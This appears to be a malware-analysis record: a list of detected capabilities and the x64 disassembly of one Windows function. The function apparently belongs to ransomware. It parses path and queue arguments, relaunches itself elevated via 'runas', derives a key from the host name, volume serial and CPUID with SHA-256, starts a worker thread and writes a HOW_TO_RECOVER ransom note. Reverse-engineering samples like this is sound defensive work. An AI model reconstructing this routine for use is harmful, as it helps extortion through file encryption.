Function at 0x140007b94
Capabilities:
Accept command line arguments
Check if file exists
Create new key via cryptacquirecontext
Create process on windows
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Generate random numbers via winapi
Get common file path
Get disk information
Get hostname
Hash data using sha256
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3b8]
sub rsp, 0x490
mov rax, qword [0x140053010]
xor rax, rsp
mov qword [rbp + 0x380], rax
xor ebx, ebx
mov rsi, rcx
mov qword [rsp + 0x70], rbx
mov r12b, bl
mov qword [rsp + 0x68], rbx
mov byte [rsp + 0x40], bl
mov dword [rsp + 0x78], ebx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x78]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
lea edi, [rbx + 1]
mov r15, rax
test rax, rax
je 0x140007f75
mov r13d, edi
cmp dword [rsp + 0x78], edi
jle 0x140007f6c
lea r14d, [rbx + 2]
lea rdi, [rax + 8]
mov rcx, qword [rdi]
lea rdx, [0x14004b864]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007c3f
cmp dword [rsp + 0x78], r14d
jl 0x140007c3f
lea rcx, [rsp + 0x70]
jmp 0x140007c99
mov rcx, qword [rdi]
lea rdx, [0x14004b870]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007c79
cmp dword [rsp + 0x78], r14d
jl 0x140007c79
mov rdx, qword [rdi + 8]
lea r8, [0x14004b86c]
lea rcx, [rsp + 0x68]
call fcn.140021760
mov byte [rsp + 0x40], 1
jmp 0x140007d26
mov rcx, qword [rdi]
lea rdx, [0x14004b878]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007cab
cmp dword [rsp + 0x78], r14d
jl 0x140007cab
lea rcx, [rsp + 0x68]
mov rdx, qword [rdi + 8]
lea r8, [0x14004b86c]
call fcn.140021760
jmp 0x140007d26
mov rcx, qword [rdi]
lea rdx, str._path
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007d02
cmp dword [rsp + 0x78], r14d
jl 0x140007d02
mov rax, qword [rsi + 8]
lea r8, [rdi + 8]
cmp rax, qword [rsi + 0x10]
je 0x140007cf5
mov rdx, qword [r8]
mov rcx, rax
mov qword [rax], rbx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
call fcn.140009ae0
add qword [rsi + 8], 0x20
jmp 0x140007d26
mov rdx, rax
mov rcx, rsi
call fcn.14000a3cc
jmp 0x140007d26
mov rcx, qword [rdi]
lea rdx, str._queue
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007d26
cmp dword [rsp + 0x78], r14d
jl 0x140007d26
mov rcx, qword [rdi + 8]
call fcn.140021ff8
mov rcx, qword [rdi]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140008399
xor r12d, r12d
mov qword [rbp + 0x290], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x290]
lea edx, [r12 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140007d8e
lea ecx, [r12 + 4]
mov dword [rbp - 0x60], ecx
lea edx, [rcx + 0x10]
mov r9d, ecx
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x290]
lea r8, [rbp - 0x54]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp - 0x54]
mov rcx, qword [rbp + 0x290]
test rcx, rcx
je 0x140007da0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140007f12
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0xf8
call fcn.14001c6a0
lea rcx, [rbp + 0x40]
call fcn.140009400
lea r12d, [rbx + 1]
cmp dword [rsp + 0x78], r12d
jle 0x140007e02
lea rbx, [r15 + 8]
lea rcx, [rbp + 0x50]
call fcn.14000a710
mov rdx, qword [rbx]
mov rcx, rax
call fcn.14000a97c
mov rcx, rax
lea rdx, [0x14004b8f4]
call fcn.14000a97c
inc r12d
lea rbx, [rbx + 8]
cmp r12d, dword [rsp + 0x78]
jl 0x140007dd1
mov eax, dword [rbp + 0xc8]
xor ebx, ebx
and al, 0x22
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], 7
cmp al, 2
je 0x140007e4a
mov rax, qword [rbp + 0x98]
mov rdx, qword [rax]
test rdx, rdx
je 0x140007e4a
cmp rdx, qword [rbp + 0xc0]
mov rax, qword [rbp + 0x78]
cmovb rdx, qword [rbp + 0xc0]
mov r9, qword [rax]
sub rdx, r9
jmp 0x140007e7c
test byte [rbp + 0xc8], 4
jne 0x140007eb4
mov rax, qword [rbp + 0x90]
mov rcx, qword [rax]
test rcx, rcx
je 0x140007eb4
mov rax, qword [rbp + 0x70]
mov r9, qword [rax]
mov rax, qword [rbp + 0xa8]
movsxd rdx, dword [rax]
add rdx, rdx
sub rdx, r9
add rdx, rcx
mov rax, r9
sar rdx, 1
test rax, rax
je 0x140007eb4
lea rcx, [rbp - 0x80]
cmp rdx, 7
ja 0x140007eaf
lea rbx, [rdx + rdx]
mov qword [rbp - 0x70], rdx
mov r8, rbx
mov rdx, r9
call fcn.14001d5c0
xor eax, eax
mov word [rbp + rbx - 0x80], ax
xor ebx, ebx
jmp 0x140007eb4
call fcn.14000ab60
cmp qword [rbp - 0x68], 8
lea r9, [rbp - 0x80]
mov r8, qword [r15]
lea rdx, str.runas
cmovae r9, qword [rbp - 0x80]
xor ecx, ecx
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp - 0x80]
call fcn.140009a7c
lea rcx, [rbp + 0xd8]
call fcn.14000931c
lea rax, vtable.std::ios_base.0
lea rcx, [rbp + 0xd8]
mov qword [rbp + 0xd8], rax
call fcn.14001bb40
jmp 0x140007f14
xor ebx, ebx
mov rax, qword [rsi + 8]
cmp rax, qword [rsi + 0x10]
je 0x140007f3f
mov rdx, qword [rdi]
mov rcx, rax
mov qword [rax], rbx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
call fcn.140009ae0
add qword [rsi + 8], 0x20
jmp 0x140007f4d
mov r8, rdi
mov rdx, rax
mov rcx, rsi
call fcn.14000a3cc
inc r13d
inc r14d
add rdi, 8
cmp r13d, dword [rsp + 0x78]
jl 0x140007c1d
mov r12b, byte [rsp + 0x40]
mov edi, 1
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
imul ecx, ebx
rdtsc
shl rdx, 0x20
xor r14d, r14d
or rax, rdx
mov dword [rsp + 0x20], r14d
imul eax, ecx
mov r9d, edi
xor r8d, r8d
lea rcx, [rbp - 0x50]
xor edx, edx
imul eax, dword [rbp - 0x40]
mov dword [rbp - 0x5c], eax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140007ff7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x140008016
mov r9d, edi
mov dword [rsp + 0x20], 8
xor r8d, r8d
lea rcx, [rbp - 0x50]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140008016
mov rcx, qword [rbp - 0x50]
lea r8, [rbp - 0x5c]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x50]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [rbp - 0x5c]
lea rbx, [0x140055ff0]
mov dword [0x140055ff0], eax
mov edx, edi
lea eax, [rdx - 1]
movsxd rcx, eax
mov eax, dword [rbx + rcx*4]
shr eax, 0x1e
xor eax, dword [rbx + rcx*4]
imul ecx, eax, 0x6c078965
movsxd rax, edx
add ecx, edx
add edx, edi
mov dword [rbx + rax*4], ecx
cmp edx, 0x270
jl 0x140008028
mov ecx, edi
mov dword [0x1400569b0], edx
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
xor eax, eax
mov byte [rsp + 0x48], 9
xorps xmm0, xmm0
mov qword [rsp + 0x59], rax
lea rdx, [rbp - 0x58]
mov dword [rsp + 0x61], eax
lea rcx, [rbp + 0x2b0]
mov word [rsp + 0x65], ax
movups xmmword [rsp + 0x49], xmm0
mov byte [rsp + 0x67], al
movups xmmword [rbp + 0x2b0], xmm0
mov dword [rbp - 0x80], 0x7afa20cd
mov dword [rbp - 0x7c], 0xaa84f355
mov dword [rbp - 0x78], 0x45c127ff
mov dword [rbp - 0x74], 0x63bd3666
mov dword [rbp - 0x70], 0x219e3274
mov dword [rbp - 0x6c], 0x8166807b
mov dword [rbp - 0x68], 0x45204f1a
mov dword [rbp - 0x64], 0xffc1b891
mov dword [rbp - 0x58], 0x10
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, 0x40
mov qword [rbp - 0x48], r14
mov r8d, ebx
lea rcx, [rbp + 0x340]
xor edx, edx
call fcn.14001c6a0
mov edx, ebx
lea rcx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x340]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov r8d, edi
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
or rdi, 0xffffffffffffffff
mov rbx, rax
cmp rax, rdi
je 0x140008153
xor r9d, r9d
lea rdx, [rbp - 0x48]
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x208
call fcn.14001c6a0
mov edx, 0x104
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x1400081b4
mov dword [rsp + 0x38], r14d
lea r9, [rbp - 0x60]
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x28], r14
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov word [rbp + 0x46], r14w
mov dword [rbp - 0x60], r14d
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x1400081b4
mov r8d, dword [rbp - 0x60]
test r8d, r8d
jne 0x1400081ba
mov r8d, 0xdead
movsd xmm1, qword [0x140053c30]
xor eax, eax
xor ecx, ecx
mov dword [rbp + 0x2c0], r8d
cpuid
xorps xmm0, xmm0
movsd qword [rbp + 0x2d4], xmm1
movups xmmword [rbp + 0x290], xmm0
mov dword [rbp + 0x290], eax
mov eax, dword [0x140053c38]
mov dword [rbp + 0x298], ecx
lea rcx, [rbp + 0x2e8]
mov dword [rbp + 0x29c], edx
lea rdx, [rbp + 0x2b0]
mov dword [rbp + 0x2dc], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp + 0x294], ebx
movups xmm0, xmmword [rbp + 0x290]
mov ebx, dword [rbp - 0x58]
mov dword [rbp + 0x2e0], eax
mov r8d, ebx
mov eax, dword [rbp - 0x48]
mov dword [rbp + 0x2e4], eax
movdqu xmmword [rbp + 0x2c4], xmm0
call fcn.14001d5c0
mov qword [rbp + 0x30], r14
lea r8d, [rbx + 0x28]
mov r14d, 0x5be0cd19
mov dword [rbp + 0x10], 0x6a09e667
mov r13d, 0x9b05688c
mov dword [rbp + 0x2c], r14d
mov r15d, 0x1f83d9ab
mov dword [rbp + 0x14], 0xbb67ae85
lea rdx, [rbp + 0x2c0]
mov dword [rbp + 0x18], 0x3c6ef372
lea rcx, [rbp - 0x30]
mov dword [rbp + 0x1c], 0xa54ff53a
mov dword [rbp + 0x20], 0x510e527f
mov dword [rbp + 0x24], r13d
mov dword [rbp + 0x28], r15d
call fcn.1400040d4
lea rdx, [rbp + 0x290]
lea rcx, [rbp - 0x30]
call fcn.1400041ac
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x2f8]
call fcn.1400036d8
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x2f8]
lea rcx, [0x1400559b8]
call fcn.1400036d8
lea r8, [0x140053c48]
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x318]
call fcn.1400036d8
xor eax, eax
mov dword [rbp + 0x10], 0x6a09e667
lea rdx, [rbp + 0x318]
mov qword [rbp + 0x30], rax
lea rcx, [rbp - 0x30]
mov dword [rbp + 0x14], 0xbb67ae85
mov dword [rbp + 0x18], 0x3c6ef372
lea r8d, [rax + 0x20]
mov dword [rbp + 0x1c], 0xa54ff53a
mov dword [rbp + 0x20], 0x510e527f
mov dword [rbp + 0x24], r13d
mov dword [rbp + 0x28], r15d
mov dword [rbp + 0x2c], r14d
call fcn.1400040d4
lea rdx, [0x140055990]
lea rcx, [rbp - 0x30]
call fcn.1400041ac
xor ecx, ecx
call fcn.14000beb0
mov eax, dword [0x140053c44]
lea r8, [rbp + 0x40]
xor r14d, r14d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor edx, edx
lea rcx, str.C:
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rbx, rax
cmp rax, rdi
jne 0x140008408
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x140008408
mov dword [0x140053c44], r14d
jmp 0x140008411
movdqa xmm0, xmmword [0x14004ce20]
lea rdx, str.File_not_found_OR_Invalid_argument
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x80], rbx
movdqu xmmword [rbp - 0x70], xmm0
call fcn.140009ae0
movsxd rax, r13d
or rdi, 0xffffffffffffffff
mov rdx, qword [r15 + rax*8]
inc rdi
cmp word [rdx + rdi*2], bx
jne 0x1400083c5
mov r8, rdi
lea rcx, [rbp - 0x80]
call fcn.140009db4
cmp qword [rbp - 0x68], 8
lea rdx, [rbp - 0x80]
mov r9d, 0x10
lea r8, str.Error
cmovae rdx, qword [rbp - 0x80]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rbp - 0x80]
call fcn.140009a7c
jmp 0x140008480
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r8, [0x140055b38]
call fcn.140005554
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140007b00]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rsp + 0x68]
mov r9, rsi
mov rcx, qword [rsp + 0x70]
mov r8b, r12b
mov rbx, rax
call fcn.1400069b8
lea rcx, str.C:HOW_TO_RECOVER___.TXT
call fcn.14000607c
xorps xmm0, xmm0
xor edx, edx
mov rcx, rbx
movups xmmword [0x140055990], xmm0
movups xmmword [0x1400559a0], xmm0
call qword [sym.imp.KERNEL32.dll_TerminateThread]
call fcn.140007560
mov rcx, rsi
call fcn.1400099b8
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.14001a2c0
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret